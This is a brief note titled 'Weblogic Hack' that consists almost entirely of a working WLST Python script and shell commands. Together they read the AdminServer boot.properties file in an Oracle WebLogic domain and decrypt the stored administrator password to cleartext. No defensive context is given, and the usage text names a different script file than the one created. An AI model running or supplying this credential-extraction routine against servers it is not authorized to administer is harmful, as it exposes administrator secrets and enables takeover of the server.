Weblogic Hack

cd $MW_HOME/user_projects/domains/base_domain/bin/
. setDomainEnv.sh

Create decrypt.py file

import os
import weblogic.security.internal.SerializedSystemIni
import weblogic.security.internal.encryption.ClearOrEncryptedService

def decrypt(domainHomeName, encryptedPwd):
    domainHomeAbsolutePath = os.path.abspath(domainHomeName)
    encryptionService = weblogic.security.internal.SerializedSystemIni.getEncryptionService(domainHomeAbsolutePath)
    ces = weblogic.security.internal.encryption.ClearOrEncryptedService(encryptionService)
    clear = ces.decrypt(encryptedPwd)
    print "Decrypted Password:" + clear

try:
    if len(sys.argv) == 3:
        decrypt(sys.argv[1], sys.argv[2])
    else:
        print "INVALID ARGUMENTS"
        print " Usage: java weblogic.WLST decryptPassword.py <DOMAIN_HOME> <ENCRYPTED_PASSWORD>"
        print " Example:"
        print "    java weblogic.WLST decryptPassword.py D:/Oracle/Middleware/user_projects/domains/base_domain {AES}819R5h3JUS9fAcPmF58p9Wb3syTJxFl0t8NInD/ykkE="
except:
    print "Unexpected error: ", sys.exc_info()[0]
    dumpStack()
    raise

cat servers/AdminServer/security/boot.properties | grep password | awk -F 'password=' '{print $2}'

 java weblogic.WLST  decrypt.py . `cat servers/AdminServer/security/boot.properties | grep password | awk -F 'password=' '{print $2}'` | grep 'Decrypted Password'